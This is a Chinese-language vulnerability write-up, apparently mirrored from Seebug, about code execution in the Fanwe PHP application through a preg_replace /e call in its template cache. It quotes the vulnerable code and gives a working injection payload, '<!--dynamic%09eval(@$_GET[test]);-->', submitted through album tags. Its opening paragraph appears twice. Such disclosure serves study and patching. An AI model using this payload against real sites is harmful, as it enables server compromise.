VULHUB ™

### 简要描述： 一步两步似魔鬼的步伐 ### 详细说明： 缺陷文件： /core/function/global.func.php 如下： ``` /** * 显示页面 * @param string $cache_file 缓存路径 * @param bool $is_session 是否更新session * @param bool $is_return 是否返回页面内容 * @return mixed */ function display($cache_file = '',$is_session = true,$is_return = false) { global $_FANWE; $content = NULL; if(!empty($cache_file) && !file_exists($cache_file)) { if(makeDir(preg_replace("/^(.*)\/.*?\.htm$/is", "\\1", $cache_file))) { $dynamic_php = ''; if(isset($_FANWE['page_parses'])) $dynamic_php = "<?php\n".' $_FANWE[\'CACHE_CSS_SCRIPT_PHP\']'." = ".var_export($_FANWE['page_parses'], true).";\n?>"; $content = ob_get_contents(); express($content); if(isset($_FANWE['tpl_image_formats'])) $dynamic_php .= "<?php\n".' setTplFormats(\'tpl_image_formats\','.var_export($_FANWE['tpl_image_formats'], true).");\n?>"; writeFile($cache_file,$dynamic_php.$content); } } require_once fimport('dynamic/common'); $module_dynamic = ''; if(defined('MODULE_NAME') && MODULE_NAME != '')...

### 简要描述： 一步两步似魔鬼的步伐 ### 详细说明： 缺陷文件： /core/function/global.func.php 如下： ``` /** * 显示页面 * @param string $cache_file 缓存路径 * @param bool $is_session 是否更新session * @param bool $is_return 是否返回页面内容 * @return mixed */ function display($cache_file = '',$is_session = true,$is_return = false) { global $_FANWE; $content = NULL; if(!empty($cache_file) && !file_exists($cache_file)) { if(makeDir(preg_replace("/^(.*)\/.*?\.htm$/is", "\\1", $cache_file))) { $dynamic_php = ''; if(isset($_FANWE['page_parses'])) $dynamic_php = "<?php\n".' $_FANWE[\'CACHE_CSS_SCRIPT_PHP\']'." = ".var_export($_FANWE['page_parses'], true).";\n?>"; $content = ob_get_contents(); express($content); if(isset($_FANWE['tpl_image_formats'])) $dynamic_php .= "<?php\n".' setTplFormats(\'tpl_image_formats\','.var_export($_FANWE['tpl_image_formats'], true).");\n?>"; writeFile($cache_file,$dynamic_php.$content); } } require_once fimport('dynamic/common'); $module_dynamic = ''; if(defined('MODULE_NAME') && MODULE_NAME != '') $module_dynamic = fimport('dynamic/'.MODULE_NAME); if(!empty($module_dynamic) && file_exists($module_dynamic)) require_once $module_dynamic; if($content === NULL) { $content = ob_get_contents(); express($content); } ob_end_clean(); $content = preg_replace('/<!--dynamic\s+(.+?)(?:|\sargs=(.*?))-->/ies', "\\1('\\2');", $content); ``` 最后的preg_replace 使用了/e的命令执行符号。 $content可被控制。 即页面上如果出现<!--dynamic args=(phpinfo())--> 即被执行args里的命令 寻找一个变量能被没有过滤掉关键字符之类，并且能在页面上显示的就行。 找了半天，找了个album.php的模块下的一个tags . 缺陷文件 /core/module/album.module.php 的300多行： ``` if($share['status']) { $data['title'] = htmlspecialchars($_FANWE['request']['title']); $data['content'] = htmlspecialchars($_FANWE['request']['content']); $data['tags'] = implode(' ',$tags); $data['uid'] = $_FANWE['uid']; $data['share_id'] = $share['share_id']; $data['create_day'] = getTodayTime(); $data['create_time'] = TIME_UTC; $aid = FDB::insert('album',$data,true); ``` Tags 变量只做了分割处理。分割字符串为空格即%20 前面的正则条件是需要匹配\s 即空白字符，其中包括\t \r \n 等 所以，提交tags标签时，提交如下类似的字符串即进入到模版缓存替换执行中。 <!--dynamic%09eval(@$_GET[test]);--> 本地测试如下图： [<img src="https://images.seebug.org/upload/201412/27001610dd5f7fca973c79f45fb36575df07d5a5.png" alt="无标题.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/27001610dd5f7fca973c79f45fb36575df07d5a5.png) [<img src="https://images.seebug.org/upload/201412/270016597ca4abd5cd73fc5a9ce19bc670099ceb.png" alt="无标题.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/270016597ca4abd5cd73fc5a9ce19bc670099ceb.png) [<img src="https://images.seebug.org/upload/201412/270017358d6a1bc1c9ca07cf0a9390f10a3ec3be.png" alt="无标题.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/270017358d6a1bc1c9ca07cf0a9390f10a3ec3be.png) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201412/27001610dd5f7fca973c79f45fb36575df07d5a5.png" alt="无标题.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/27001610dd5f7fca973c79f45fb36575df07d5a5.png) [<img src="https://images.seebug.org/upload/201412/270016597ca4abd5cd73fc5a9ce19bc670099ceb.png" alt="无标题.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/270016597ca4abd5cd73fc5a9ce19bc670099ceb.png) [<img src="https://images.seebug.org/upload/201412/270017358d6a1bc1c9ca07cf0a9390f10a3ec3be.png" alt="无标题.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/270017358d6a1bc1c9ca07cf0a9390f10a3ec3be.png)